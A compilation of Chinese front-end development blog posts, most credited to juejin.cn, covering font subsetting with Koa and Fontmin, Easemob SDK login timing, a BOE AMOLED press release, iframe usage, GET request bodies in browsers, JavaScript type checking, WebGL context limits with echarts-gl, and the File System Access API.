document.body.appendChild(linkElement);
// 优化显示效果
setTimeout(() => {
this.showName = this.name;
}, 300);
},
},
};
</script>
<style>
.font {
font-family: orange;
font-size: 50px;
}
</style>
应该都能看懂吧,主要就是生成了一个 <link />
标签并插入到文档中,标签的请求地址指向我们服务端,至于服务端会返回什么你可以先猜一猜。👻
服务端
服务端小编选择用 Koa2 来编写,你也可以选择 Express
或者 Egg
,甚至 Node
也是可以的,差异不大,具体逻辑如下:
const koa = require("koa2");
const fs = require("fs");
const FontMin = require("fontmin");
const app = new koa();
/** @name 优化,缓存已经加载过的字体包进内存 **/
const fontFamilyMap = {};
/** @name 加载字体包 **/
function loadFontLibrary(fontPath, fontFamily) {
if (fontFamilyMap[fontFamily]) return fontFamilyMap[fontFamily];
return new Promise((resolve, reject) => {
fs.readFile(fontPath, (error, file) => {
if (error) {
reject(new Error(error.message));
} else {
fontFamilyMap[fontFamily] = file;
resolve(file);
}
});
});
}
app.use(async (ctx) => {
const { name } = ctx.query;
// 设置返回文件类型
ctx.set("Content-Type", "text/css");
const fontPath = "./font/orange.ttf";
const fontFamily = "orange";
if (!fs.existsSync(fontPath)) return (ctx.body = "字体包读取失败");
const fontMin = new FontMin();
const fontFile = await loadFontLibrary(fontPath, fontFamily);
fontMin.src(fontFile);
const getFontCSS = () => {
return new Promise((resolve) => {
fontMin
.use(FontMin.glyph({ text: name }))
.use(FontMin.css({ base64: true, fontFamily }))
.run((error, files) => {
if (error) {
console.log("error", error.message);
} else {
const fontContent = files?.[1]?.contents;
resolve(fontContent);
}
});
});
};
const fontCSS = await getFontCSS();
ctx.body = fontCSS;
});
app.listen(3000);
console.log("服务器开启: http://localhost:3000/");
我们主要是采用了 Fontmin 库来完成整个字体包的按需加载功能,这个库是第一个纯 JavaScript
字体子集化方案。
可能有后端是
Java
或者其他技术栈的小伙伴,你们也不用担心,据小编和公司后端同事了解,不同技术栈也是有对应的库可以解决的,需要的可以自行查查看。
至此,本篇文章就写完啦,撒花撒花。
希望本文对你有所帮助,如有任何疑问,期待你的留言哦。
老样子,点赞+评论=你会了,收藏=你精通了。
来源:juejin.cn/post/7293151700869038099
登录问题——web端
问题描述:
在集成环信SDK的过程中,大家可能会遇到一个令人困惑的问题:明明已经通过open登录成功了,但是在调用api时却总是报错,错误类型为type28或者type700或者type39 not login。本文将详细分析这个问题的原因,并提供相应的解决方案。
原因分析:
要解决这个问题,我们首先需要了解环信SDK的登录机制。登录过程实际上分为两个步骤:
1. 请求Token:这是open登录操作的第一步,即在open.then或者success回调中返回token。
2. 建立长连接:即建立WebSocket连接,触发onOpened或者onConnected回调。只有当onOpened或者onConnected回调被触发,才算是真正与环信服务器建立了连接。
SDK在拿到token后,会将其设置进入SDK并尝试建立连接。如果在onOpened或者onConnected回调触发之前就执行了api的调用,那么token可能还没有被正确设置进入SDK,从而导致后续的HTTP请求报token无效的错误。也就是出现type28或者type700或者type 39的报错。
解决方案:
为了避免这个问题,我们需要调整代码逻辑,确保在onOpened或者onConnected回调触发后再去请求一系列的接口。以下是具体的调整步骤:
1. 监听连接状态:在SDK初始化后,监听onOpened或者onConnected回调。
2. 延迟调用api操作:不要在open.then或者success回调中立即执行api的调用,而是等待onOpened或者onConnected回调触发后再执行。
3. 检查SDK状态:调用api前检查SDK是否已经成功建立连接。
可以用以下三种方法中的一种判断检查SDK是否已经成功建立连接~
1、WebIM.conn方法下有一个logOut字段,该字段为true时表明未登录状态,该字段为false时表明登录;
2、WebIM.conn.isOpened () 方法有三个状态,undefined为未登录状态,true为已登录状态,false为未登录状态,可以根据这三个状态去判断是否登录;
3、通过onOpened 这个回调来判断,只要执行了就说明登录成功了,输出的话,输出的是undefined
183天打造行业新标杆!BOE(京东方)国内首条第8.6代AMOLED生产线提前全面封顶
2024年9月25日,BOE(京东方)投建的国内首条第8.6代AMOLED生产线全面封顶仪式在成都市高新区举行,该生产线从开工到封顶仅用183天,以科学、高效、高质的速度再树行业新标杆。这不仅是BOE(京东方)创新突破、打造新质生产力的又一重大举措,也是OLED领域的里程碑事件,极大推动OLED显示产业快速迈进中尺寸发展阶段,对促进半导体显示产业优化升级、引领行业高质量发展具有重要意义。京东方科技集团董事长陈炎顺出席并宣布仪式启动,项目总指挥刘晓东、项目执行总指挥杨国波等领导及中建三局集团有限公司、中国建筑一局(集团)有限公司、中国电子工程设计院股份有限公司、四川华凯工程项目管理有限公司等相关单位领导共同出席封顶仪式。
BOE(京东方)第8.6代AMOLED生产线项目总指挥刘晓东在致辞中表示:“BOE(京东方)第8.6代AMOLED生产线自今年初正式开工以来,始终秉持‘五同时、五确保、五典范’建设原则,以坚韧不拔的意志和团结协作的精神,历时183天,提前达成全面封顶目标,标志着该生产线正式迈入新阶段。BOE(京东方)第8.6代AMOLED生产线必将成为行业标杆工程,为企业发展注入新的活力与动力。我们有信心、有能力打造全球最具竞争力的第8.6代AMOLED生产线,为全球显示产业进步贡献重要力量。”
BOE(京东方)第8.6代AMOLED生产线总投资630亿元,是四川省迄今投资体量最大的单体工业项目,设计产能每月3.2万片玻璃基板(尺寸2290mm×2620mm),主要生产笔记本电脑、平板电脑等智能终端高端触控OLED显示屏。BOE(京东方)通过采用低温多晶硅氧化物(LTPO)背板技术与叠层发光器件制备工艺,使OLED屏幕实现更低的功耗和更长的使用寿命,也将带动下游笔记本及平板电脑产品的迭代升级。目前,BOE(京东方)已在成都、重庆、绵阳投建了三条第6代柔性AMOLED生产线,再加上国内首条第8.6代AMOLED生产线的投建,全面展现了其全球领先的技术实力和行业影响力。值得关注的是,截至2023年,BOE(京东方)柔性OLED出货量已连续多年稳居国内第一,全球第二(数据来源:Omdia),柔性OLED相关专利申请超3万件。BOE(京东方)柔性显示技术不仅应用于手机领域,还持续拓展笔记本、车载、可穿戴等领域,折叠屏、滑卷屏、全面屏等柔性显示解决方案已覆盖国内外众多头部终端品牌,进一步确立BOE(京东方)在OLED领域的全球领先地位。
2024年,BOE(京东方)面向下一个三十年的新征程全新出发,公司将始终坚持“传承、创新、发展”的企业文化内核,坚定信念、创新变革,持续探索契合市场需求的企业发展“第N曲线”。BOE(京东方)第8.6代AMOLED生产线也将汇聚新型显示产业人才,发挥引擎作用,打造以柔性显示为核心的“世界柔谷”,在持续提升竞争力的同时,谱写行业高质发展的新篇章。
收起阅读 »iframe的基本使用与注意点
iframe
(Inline Frame)是一种在网页中嵌套其他网页的 HTML 元素。通过 iframe
,开发者可以在一个页面中加载另一个页面的内容,提升用户体验和功能性。下面将详细探讨 iframe
的原理、使用场景以及注意事项,并提供相应的代码示例。
一、iframe 的原理
iframe
是一种 HTML 标签,其基本语法如下:
<iframe src="https://example.com" width="600" height="400" frameborder="0"></iframe>
- src:指定要加载的网页地址。
- width 和 height:定义
iframe
的宽度和高度。 - frameborder:控制边框显示(在 HTML5 中不推荐使用)。
当浏览器遇到 iframe
标签时,会发起一个独立的网络请求来加载指定的 URL。这使得嵌入的内容在主文档之外独立渲染。
二、使用场景
- 广告展示:
iframe
经常用于展示广告内容,允许网站在不影响主页面的情况下,灵活更新广告。
<iframe src="https://ad.example.com" width="300" height="250" frameborder="0"></iframe>
- 第三方内容集成:
- 嵌入社交媒体帖子、视频播放器或地图等内容。例如,嵌入 YouTube 视频:
<iframe src="https://www.youtube.com/embed/VIDEO_ID" width="560" height="315" frameborder="0" allowfullscreen></iframe>
- 内容隔离:
- 当需要展示用户生成的内容(如评论或论坛)时,可以使用
iframe
进行内容隔离,避免对主页面造成影响。
- 当需要展示用户生成的内容(如评论或论坛)时,可以使用
- 安全性:
使用
sandbox
属性,可以限制iframe
的功能,增加安全性。
allow-forms
允许
iframe
内部的表单提交。默认情况下,表单提交被禁止。allow-same-origin
允许
iframe
中的文档以相同来源访问其父页面。这允许脚本与同源的内容交互。allow-scripts
允许
iframe
中的脚本执行。默认情况下,脚本执行被禁止。allow-top-navigation
允许
iframe
中的内容导航到父页面。这使得嵌入页面可以改变主页面的 URL。allow-popups
允许
iframe
中的内容打开新窗口或标签页。默认情况下,这种操作被禁止。allow-modals
允许
iframe
显示模态对话框,例如alert
、prompt
和confirm
。allow-presentation
允许
iframe
进入展示模式,例如全屏模式。
<iframe src="https://example.com" width="600" height="400" sandbox="allow-scripts"></iframe>
三、注意点
- 安全性问题:
- 由于跨站点脚本攻击(XSS)的风险,很多网站设置了
X-Frame-Options
或Content-Security-Policy
来限制iframe
的嵌入。这会导致“拒绝了我们的连接请求”的错误提示。
- 由于跨站点脚本攻击(XSS)的风险,很多网站设置了
```http
X-Frame-Options: DENY
```
- 性能影响:
- 嵌套多个
iframe
会增加页面的加载时间和复杂性,影响性能。因此,建议合理使用。
- 嵌套多个
- 跨域限制:
- 由于同源策略,
iframe
中加载的页面不能与主页面进行直接交互。这意味着无法访问嵌入页面的 DOM 或 JavaScript。
- 由于同源策略,
- SEO 考虑:
- 搜索引擎可能不会索引
iframe
内的内容,从而影响整体的 SEO 表现。避免将重要内容仅放在iframe
中。
- 搜索引擎可能不会索引
- 响应式设计:
- 确保
iframe
在不同设备和屏幕尺寸下表现良好,可以通过 CSS 设置其宽度为百分比。例如:
iframe {
width: 100%;
height: auto;
}
- 确保
四、示例代码
以下是一个综合示例,展示了如何使用 iframe
加载一个 YouTube 视频并应用响应式设计:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Iframe Example</title>
<style>
.responsive-iframe {
position: relative;
padding-bottom: 56.25%; /* 16:9 Aspect Ratio */
height: 0;
overflow: hidden;
}
.responsive-iframe iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
</style>
</head>
<body>
<h1>嵌入 YouTube 视频</h1>
<div class="responsive-iframe">
<iframe src="https://www.youtube.com/embed/VIDEO_ID" frameborder="0" allowfullscreen></iframe>
</div>
</body>
</html>
结论
iframe
是一种强大的网页嵌入技术,能够增强网页功能和用户体验。在使用时,需要充分考虑安全性、性能和跨域问题,以确保良好的用户体验。通过合理配置和使用,iframe
可以为网页增加更多的互动性和功能性。
---09/19ヾ( ̄▽ ̄)ByeBye
来源:juejin.cn/post/7415914059106533439
get请求参数放在body中?
1、背景
与后端对接口时,看到有一个get
请求的接口,它的参数是放在body
中的
******get
请求参数可以放在body
中??
随即问了后端,后端大哥说在postman上是可以的,还给我看了截图
可我传参怎么也调不通!
下面就来探究到底是怎么回事
2、能否发送带有body参数的get请求
项目中使用axios
来进行http
请求,使用get
请求传参的基本姿势:
// 参数拼接在url上
axios.get(url, {
params: {}
})
如果想要将参数放在body
中,应该怎么做呢?
查看axios的文档并没有看到对应说明,去github上翻看下axios源码看看
在lib/core/Axios.js
文件中
可以看到像delete
、get
、head
、options
方法,它们只接收两个参数,不过在config
中有一个data
熟悉的post
请求,它接收的第二个参数data
就是放在body
的,然后一起作为给this.request
作为参数
所以看样子get
请求应该可以在第二个参数添加data
属性,它会等同于post
请求的data
参数
顺着源码,再看看lib/adapters/xhr.js
,上面的this.request
最终会调用这个文件封装的XMLHttpRequest
export default isXHRAdapterSupported && function (config) {
return new Promise(function dispatchXhrRequest(resolve, reject) {
let requestData = config.data
// 将config.params拼接在url上
request.open(config.method.toUpperCase(),
buildURL(fullPath, config.params, config.paramsSerializer), true);
// 省略若干代码
...
// Send the request
request.send(requestData || null);
});
}
最终会将data
数据发送出去
所以只要我们传递了data
数据,其实axios
会将其放在body
发送出去的
2.1 实战
本地起一个koa
服务,弄一个简单的接口,看看后端能否接收到get
请求的body
参数
router.get('/api/json', async (ctx, next) => {
console.log('get请求获取body: ', ctx.request.body)
ctx.body = ctx.request.body
})
router.post('/api/json', async (ctx, next) => {
console.log('post请求获取body: ', ctx.request.body)
ctx.body = ctx.request.body
})
为了更好地比较,分别弄了一个get
和post
接口
前端调用接口:
const res = await axios.get('/api/json', {
data: {
id: 1,
type: 'GET'
}
})
const res = await axios.post('/api/json', {
data: {
id: 2,
type: 'POST'
}
})
console.log('res--> ', res)
在axios
的send
处打一个断点
可以看到数据已经被放到body中了
后端已经接收到请求了,但是get
请求无法获取到body
!
结论:
- 前端可以发送带
body
参数的get
请求,但是后端接收不到 - 这就是接口一直调不通的原因
3、这是为何呢?
我们查看WHATGW
标准,在XMLHttpRequest
中有这么一个说明:
大概意思:如果请求方法是GET
或HEAD
,那么body
会被忽略的
所以我们虽然传递了,但是会被浏览器给忽略掉
这也是为什么使用postman
可以正常请求,但是前端调不通的原因了
因为postman
并没有遵循WHATWG
的标准,body
参数没有被忽略
3.1 fetch
是否可以?
fetch.spec.whatwg.org/#request-cl…
答案:也不可以,fetch
会直接报错
总结
- 结论:浏览器并不支持
get
请求将参数放在body
中 XMLHTTPRequest
会忽略body
参数,而fetch
则会直接报错
来源:juejin.cn/post/7283367128195055651
Systeminformation.js: 为什么不试试最强的系统信息获取工具?
大家好,我是徐徐。今天跟大家分享一款获取系统信息的工具库:systeminformation。
前言
在现代开发环境中,跨平台获取系统信息已经成为许多应用程序的重要需求。无论你是在开发需要详细系统信息的应用,还是需要获取硬件和软件的状态信息,一个强大且灵活的工具库可以显著提升你的开发效率。今天,我们要分享的是systeminformation
这个 Node.js 库,可以帮你轻松获取到你想要的各种系统信息。
基本信息
- 官网:systeminformation.io
- GitHub:github.com/sebhildebra…
- Star:2.7 K
- 类别:系统工具
什么是 systeminformation?
systeminformation 是一个轻量级的 Node.js 库,旨在提供跨平台的系统信息获取功能。无论是在 Windows、macOS 还是 Linux 上,它都能为你提供一致的接口,获取系统的硬件和软件信息。自2015年发布以来,systeminformation 已经成为开发者们获取系统信息的首选工具之一。
它提供了超过 50 个函数,用于检索详细的硬件、系统和操作系统信息。该库支持 Linux、macOS、部分 Windows、FreeBSD、OpenBSD、NetBSD、SunOS 以及 Android 系统,并且完全无依赖。无论你需要全面了解系统状况,还是仅仅想获取特定的数据,systeminformation
都能满足你的需求,帮助你在各个平台上轻松获取系统信息。
主要特点
- 跨平台支持:支持 Windows、macOS 和 Linux 系统,提供一致的接口。
- 全面的信息获取:能够获取 CPU、内存、磁盘、网络、操作系统等详细信息。
- 实时监控:支持获取实时的系统性能数据,如 CPU 使用率、内存使用率、网络速度等。
- 易于集成:通过简单的 API 调用即可获取所需信息,便于集成到各种应用程序中。
使用场景
- 服务器监控:实时监控服务器性能,获取 CPU、内存、磁盘等硬件信息。
- 桌面应用:获取本地系统信息,展示系统状态和性能数据。
- IoT 设备:在物联网设备上获取系统信息,进行设备管理和监控。
快速上手
要在你的 Node.js 项目中使用 systeminformation,只需以下简单步骤:
- 安装 systeminformation
npm install systeminformation
- 获取系统信息示例
const si = require('systeminformation');
// 获取 CPU 信息
si.cpu()
.then(data => console.log(data))
.catch(error => console.error(error));
// 获取内存信息
si.mem()
.then(data => console.log(data))
.catch(error => console.error(error));
// 获取操作系统信息
si.osInfo()
.then(data => console.log(data))
.catch(error => console.error(error));
- 实时监控示例
const si = require('systeminformation');
// 实时监控 CPU 使用率
setInterval(() => {
si.currentLoad()
.then(data => console.log(`CPU Load: ${data.currentload}%`))
.catch(error => console.error(error));
}, 1000);
// 实时监控内存使用情况
setInterval(() => {
si.mem()
.then(data => console.log(`Memory Usage: ${data.used / data.total * 100}%`))
.catch(error => console.error(error));
}, 1000);
结语
systeminformation 是一个功能强大且灵活的 Node.js 库,能够帮助你轻松获取系统的各种信息。无论你是需要实时监控服务器性能,还是需要获取本地系统的详细信息,systeminformation 都能为你提供稳定且易用的解决方案。
希望这篇文章能帮助你了解 systeminformation 的强大功能,并激发你在项目中使用它的灵感。赶快分享给你的朋友们吧!
来源:juejin.cn/post/7413643760771072015
axios VS alova.js,谁是真正的通信王者?
新年快乐!在这个快速发展的前端世界里,咱们工程师面临的挑战也是一个接一个。今天,咱们就来聊聊前端实时通信这个话题。
想想看,你在使用那些传统的HTTP客户端时,比如axios,是否遇到过这样的问题:与React、Vue等框架的结合不够紧密,导致开发效率低下;在性能方面表现不佳,尤其是在处理频繁或重复的请求时;还有那略显臃肿的体积,以及混乱的响应数据类型定义?
哎呀妈呀,这些问题听着就让人头大。但别急,有个叫做alovajs的工具,可能会让你眼前一亮。
alovajs是一个轻量级的请求策略库,它不仅提供了与axios相似的API设计,让你能更快上手,还解决了上述的那些问题。它如何解决?咱们来一探究竟。
首先,alovajs能够与UI框架深度融合,自动管理请求相关的数据。这意味着你在Vue或React等框架中使用alovajs时,不再需要手动创建和维护请求状态,大大提高了开发效率。
其次,alovajs默认开启了内存缓存和请求共享,这些功能可以在提高请求性能的同时,提升用户体验并降低服务端的压力。比如,当你实现一个列表页,用户点击列表项进入详情页时,alovajs可以智能地使用缓存数据,避免不必要的重复请求。
最后,alovajs的体积只有4kb+,仅是axios的30%左右,而且它提供了更加直观的响应数据TS类型定义,对于重度使用Typescript的同学来说,这绝对是个福音。
说了这么多,是不是有点心动了?如果你对alovajs感兴趣,可以访问它的官网查看更多详细信息:alovajs官网。也欢迎你在评论区分享你对alovajs的看法和使用经验,让我们一起交流学习吧!
有任何问题,你可以加入以下群聊咨询,也可以在github 仓库中发布 Discussions,如果遇到问题,也请在github 的 issues中提交,我们会在最快的时间解决。
来源:juejin.cn/post/7334503381200437299
一文搞懂JS类型判断的四种方法
前言
在JavaScript中,类型判断是一个非常基础但也十分重要的知识点。不同的类型判断方法适用于不同的场景,掌握这些方法可以帮助我们更好地理解和使用JavaScript。本文将详细介绍typeof
、instanceof
、Object.prototype.toString
以及Array.isArray
这四种常用的类型判断方法,并通过实例代码帮助大家加深理解。
正文
typeof
typeof操作符可以用来判断基本数据类型,如string
、number
、boolean
、undefined
、symbol
、bigint
等。它对于null
和所有引用类型的判断会返回"object"
,而对于函数则会返回"function"
。
特点:
- 可以判断除
null
之外的所有原始类型。 - 除了
function
,其他所有的引用类型都会被判断成object
。 - typeof是通过将值转换为二进制后判断其二进制前三位是否为0,是则为object
示例代码:
let s = '123'; // string
let n = 123; // number
let f = true; // boolean
let u = undefined; // undefined
let nu = null; // null
let sy = Symbol(123); // Symbol
let big = 1234n; // BigInt
console.log(typeof s); // "string"
console.log(typeof n); // "number"
console.log(typeof f); // "boolean"
console.log(typeof u); // "undefined"
console.log(typeof sy); // "symbol"
console.log(typeof big); // "bigint"
console.log(typeof nu); // "object" - 特殊情况
let obj = {};
let arr = [];
let fn = function() {};
let date = new Date();
console.log(typeof obj); // "object"
console.log(typeof arr); // "object"
console.log(typeof date); // "object"
console.log(typeof fn); // "function"
function isObject(o) {
if (typeof o === 'object' && o !== null) {
return true;
}
return false;
}
let res = isObject({a: 1});
console.log(res); // true
instanceof
instanceof
用于检测构造函数的prototype
属性是否出现在某个实例对象的原型链上。因此,它主要用于判断引用类型
。
特点:
- 只能判断引用类型。
- 通过原型链查找来判断类型。
示例代码:
let obj = {};
let arr = [];
let fn = function() {};
let date = new Date();
console.log(obj instanceof Object); // true
console.log(arr instanceof Array); // true
console.log(fn instanceof Function); // true
console.log(date instanceof Date); // true
console.log(arr instanceof Object); // true
console.log(arr instanceof String); // false
console.log(n instanceof Number); // false
因为原始类型
没有原型而引用类型有原型,所有instanceof
主要用于判断引用类型
,那么根据这个我们是不是可以手写一个instanceof
。
手写·instanceof
实现:
首先我们要知道v8创建对象自变量
是这样的,拿let arr = []举例子:
function createArray() {
// 创建一个新的对象
let arr = new Array();
// 设置原型
arr.__proto__ = Array.prototype;
// 返回创建的数组对象
return arr;
}
V8 引擎会调用 Array
构造函数来创建一个新的数组对象,Array
构造函数的内部实现会创建一个新的空数组对象,并初始化其内部属性并且将新创建的数组对象的 __proto__
属性设置为 Array.prototype
,这意味着数组对象会继承 Array.prototype
上的所有方法和属性,最后,新创建的数组对象会被赋值给变量 arr
。
那么我们是不是可以通过实例对象的隐式原型
等于其构造函数的显式原型
来判断类型,代码如下:
function myInstanceOf(L,R){
if(L.__proto__ === R.prototype){
return true;
}
return false;
}
但是我们看到console.log([] instanceof Object); // true,所有还要改进一下:
我们要知道这么一件事情:
- 内置构造函数的原型链:
- 大多数内置构造函数(如
Array
、Function
、Date
、RegExp
、Error
、Number
、String
、Boolean
、Map
、Set
、WeakMap
、WeakSet
等)的原型(Constructor.prototype
)都会直接或间接地继承自Object.prototype
。 - 这意味着这些构造函数创建的对象的原型链最终会指向
Object.prototype
。
- 大多数内置构造函数(如
- Object.prototype 的原型:
Object.prototype
的隐式原型(即__proto__
)为null
。这是原型链的终点,表示没有更多的原型可以继承。
所以我们是不是可以这样:
function myinstanceof(L, R) {
while (L !== null) {
if (L.__proto__ === R.prototype) {
return true;
}
L = L.__proto__;
}
return false;
}
console.log(myinstanceof([], Array)); // true
console.log(myinstanceof([], Object)); // true
console.log(myinstanceof({}, Array)); // false
所以就完美实现了。
Object.prototype.toString.call
Object.prototype.toString.call
是一个非常有用的工具,可以用来获取任何 JavaScript 值的类型
信息。它结合了 Object.prototype.toString
和 Function.prototype.call
两个方法的功能。
特点:
- 可以判断任何类型
代码示例
console.log(Object.prototype.toString.call(null)); // [object Null]
console.log(Object.prototype.toString.call(123)); // [object Number]
console.log(Object.prototype.toString.call([])); // [object Array]
console.log(Object.prototype.toString.call({})); // [object Object]
console.log(Object.prototype.toString.call('hello')); // [object String]
console.log(Object.prototype.toString.call(true)); // [object Boolean]
console.log(Object.prototype.toString.call(undefined)); // [object Undefined]
console.log(Object.prototype.toString.call(Symbol())); // [object Symbol]
console.log(Object.prototype.toString.call(123n)); // [object BigInt]
Object.prototype.toString
底层逻辑
根据官方文档,Object.prototype.toString
方法的执行步骤如下:
- 如果此值未定义,则返回
"[object undefined]"
。 - 如果此值为
null
,则返回"[object Null]"
。 - 定义
O
是调用ToObject
(该方法作用是把O
转换为对象) 的结果,将this
值作为参数传递。 - 定义
class
是O
的[[Class]]
内部属性的值。 - 返回
"[object"
和class
和"]"
组成的字符串的结果。
关键点解释
ToObject
方法:将传入的值转换为对象。对于原始类型(如string
、number
、boolean
),会创建对应的包装对象(如String
、Number
、Boolean
)。对于null
和undefined
,会有特殊处理。[[Class]]
内部属性:每个对象都有一个[[Class]]
内部属性,表示对象的类型。例如,数组的[[Class]]
值为"Array"
,对象的[[Class]]
值为"Object"
。
console.log(Object.prototype.toString(123));//[object Object]
console.log(Object.prototype.toString('123'));//[object Object]
console.log(Object.prototype.toString({}));//[object Object]
console.log(Object.prototype.toString([]));//[object Object]
为什么需要 call
?
Object.prototype.toString
方法默认的 this
值是 Object.prototype
本身。如果我们直接调用 Object.prototype.toString(123)
,this
值仍然是 Object.prototype
,而不是我们传入的值。因此,我们需要使用 call
方法来改变 this
值,使其指向我们传入的值。
手写call
obj = {
a:1,
}
function foo(){
console.log(this.a);
}
//我们需要将foo中的this指向obj里面
Function.prototype.myCall = function(context){
if(!(this instanceof Function)){ 在构造函数原型上,this指向的是实例对象,这里即foo
return new TypeError(this+'is not function')
}
const fn = Symbol('key'); //使用symbol作为key是因为可能会同名
context[fn] = this;//添加变量名为fn,值为上面的,context={Symbol('key'): foo}
context[fn](); // 触发了隐式绑定
delete context[fn]; //删除这个方法
}
foo.myCall(obj) // 1
console.log(obj); // {a:1}
我们知道call方法
是将函数里面的this强行掰弯到我们传入的对象里面去,它的原理是这样的,首先判断你传入的参数是不是一个函数,因为只有函数身上才有call方法,函数调用然后通过隐式绑定规则,将this指向这个对象,那么不就强行更改了this的指向,[不知道this的可以看这篇文章](你不知道的JavaScript(核心知识点概念详细整理-掘金 (juejin.cn))
Array.isArray
Array.isArray
是一个静态方法,用于检测给定的值是否为数组。
示例代码:
let arr = [];
let obj = {};
console.log(Array.isArray(arr)); // true
console.log(Array.isArray(obj)); // false
手写Array.isArray
实现:
function myIsArray(value) {
return Object.prototype.toString.call(value) === '[object Array]';
}
console.log(myIsArray(arr)); // true
console.log(myIsArray(obj)); // false
总结
typeof
适合用于检查基本数据类型,但对于null
和对象类型的判断不够准确。instanceof
用于检查对象的构造函数,适用于引用类型的判断。Object.prototype.toString
提供了一种更通用的方法来判断所有类型的值。Array.isArray
专门用于判断一个值是否为数组。
希望这篇文章能够帮助你更好地理解和使用JavaScript中的类型判断方法,感谢你的阅读!
来源:juejin.cn/post/7416657615369388084
大屏页面崩溃排查(Too many active WebGL contexts. Oldest context will be lost)
1 问题背景
顾问反馈大屏在反复切换的过程中,页面会出现白屏,导致后续的操作无法进行,只能通过刷新页面才能恢复正常。
- 我们的页面类似于这样的布局(下方的是直接从网络上找的截图)
- 点击下方红线框住的区域,可以展示不同的图表(echarts图表)
- 区别在于我们的主区域不是图片,用的是基于cesium封装的地图(webgl)
2 问题复现
测试同事经过几分钟的快速切换导航后,复现了,报错了如下内容
问题如果复现了,其实就解决了一半了
3 查找问题
经过复现后,发现除了上面的报错,每当页面崩溃前,chrome总会有下方的warning。然后基于cesium封装的地图就会崩溃。
翻译成中文:警告:目前有了太多激活的webgl上下文,最早的上下文将会丢失
4 排查问题
经过和地图组的人沟通,得到一个结论WebGL一个页面上最多有16个实例
- 怀疑echarts在下方菜单切换过程中,没有进行销毁
检查了代码中的echats的页面在销毁的时候,发现都进行了dispose,排除了这个的原因
- 怀疑起echarts的3d的饼状图
之前设计师设计了一个3d的饼状图,参考了 3d柄图环图,一个页面上有多这个组件。
效果如下:
5 锁定组件进行验证
- 先把一个页面上的所有组件改为上方的饼状图,然后点击导航栏,频繁进行切换,
- 页面很快就崩溃了,然后检查这个组件在页面销毁的时候,是否进行dispose
检查后,发现没有,添加后进行测试,问题依旧 - 继续检查发现这个组件导入了echarts-gl,就去ecahrts的github的issues进行搜索,终于找到了一个类似的问题
github.com/ecomfe/echa…
加入了类似的代码,进行验证后解决了此问题
6 总结
- chrome浏览器中最多有16个webgl的实例。当过多的时候,会把最早创建的实例销毁
- 当使用echarts在页面销毁的时候及时进行dispose,释放上下文
- 当使用echarts-gl的时候,调用dispose的时候是不生效的,需要找到页面上的canvas,然后手动将上下文释放,类似下方的代码
const canvasArr = myChart.getDom().getElementsByTagName('canvas');
for(let i=0; i<canvasArr.length; i++){
canvasArr[i].getContext('webgl').getExtension('WEBGL_lose_context').loseContext()
}
7 参考文档
来源:juejin.cn/post/7351712561672798260
谁也别拦我们,网页里直接增删改查本地文件!
欢迎来到 Jax 的专栏「Web 玩转文件操作」,快来了解 Web 端关于文件操作的方方面面!
转载请联系作者 Jax。
先来玩玩这个 Demo —— 一个网页端的本地文件管理器。
在上面的 Demo 中,点击「打开文件夹」按钮后,你可以选择电脑本地的某个文件夹来打开。然后就能对其中的文件做各种操作了,包括新建、右键打开、编辑、删除等等。你会发现,在网页上的操作会立刻在本地文件上实际生效。
如果你感觉是:”哟?有点儿意思!“,那么这篇文章就是专门为你而写的,读下去吧。
正所谓「边牧是边牧、狗是狗」,Web 应用早已不是当初的简陋网页了,它进化出了令人眼花缭乱的新能力,同时也在迅速追齐系统原生能力。如 Demo 所示,我们甚至可以把文件管理系统搬进网页,并且简单的 JavaScript 代码就能实现。Web 应用能有这样的威力,得益于浏览器对文件系统 API 的实现。
文件系统(File System Access)API 目前还处于社区草稿状态,但早在 2016 年,WHATWG 社区就已经开始着手设计这一标准,并且八年来一直在持续不断地打磨,迄今已经被各大主流浏览器所实现。
这套 API 足够简单易用,你很快就能掌握它,并且让它成为你的得力助手。但由于涉及到文件管理这个课题,它有很多方面都可以挖掘得很深很深,比如读写流、OPFS、安全策略等等。咱们这个专栏本着少吃多餐的原则,不会一次性囊括那么多内容。咱们的这第一铲,就先浅浅地挖一个「憨豆」 —— FileSystemHandle
。
FileSystemHandle
在文件系统中,文件和文件夹是一个个实体,是所有状态和交互的核心。相对应地,在文件系统 API 中,我们用「FileSystemHandle
」这个对象来对实体进行抽象。为了能够简洁地描述,我们在下文中将称之为「憨豆」。我们用对象属性来保存实体的名称、类型,通过执行对象方法来操作实体。
那么 FileSystemHandle
从何而来呢?一般是从用户操作而来。以文件为例,当用户通过文件窗口选择了某个本地文件之后,我们就能从代码层面获取到通向这个文件的入口,从而可以对文件进行管理操作。除此之外,拖拽文件进入也能得到憨豆
属性:name 和 kind
name
:无论是文件还是文件夹,必然都有一个名字。
kind
:实体的类型,值为 ‘file’
代表文件;值为 ‘directory’
代表文件夹。
校验方法 isSameEntry()
用于判断两个憨豆是否代表相同的实体。例如用户上传图片时,先后两次选择的是同一张图片,那么两个憨豆指向的其实是同一个文件。
const [handle1] = await showOpenFilePicker() // 第一次上传
const [handle2] = await showOpenFilePicker() // 第二次选择了同一个文件
const isSame = await handle1.isSameEntry(handle2)
console.log(isSame) // true
该方法也同样适用于文件夹校验。
我们可以借此来检测重复性。
删除方法 remove()
用于删除实体。比如,执行下列代码会现场抽取一个幸运文件来删除:
const [handle] = await showOpenFilePicker()
handle.remove()
但如果我们想要选中文件夹来删除,像上面那样直接调用是会报错并删除失败的。我们需要额外传入配置参数:
handle.remove({ recursive: true })
传参后的删除,是对文件夹里面的嵌套结构进行递归删除,这个设计理念旨在让开发者和用户在删除前知悉操作后果。
权限方法 queryPermission() 和 requestPermission()
用于向用户查询和获取读写权限,可以传入一个参数对象来细分权限类型。
const permission = await handle.queryPermission({ mode: 'read' }) // mode 的值还可以是 readwrite
console.log(permission)// 若值为 'granted',则代表有足够权限
我们在对实体进行操作前,最好总是先查询权限。因此一个最佳实践是把这两个方法封装进通用操作逻辑中。
其他特性
除此之外,FileSystemHandle
还具有一些其他特性,比如可以转化为 indexDB 实例、可以通过 postMessage
传输到 Web Workers 里进行操作等等。我们会在后续的专栏文章中继续顺藤摸瓜地了解它们。
两个子类
到目前为止,FileSystemHandle
所具有的属性和方法都在上面了。你可能也意识到了,单靠这三招两式是不可能实现像 Demo 里那么丰富完备的文件操作的。
没错,这个憨豆只是一个抽象父类,它还有两个子类 FileSystemFileHandle
、FileSystemDirectoryHandle
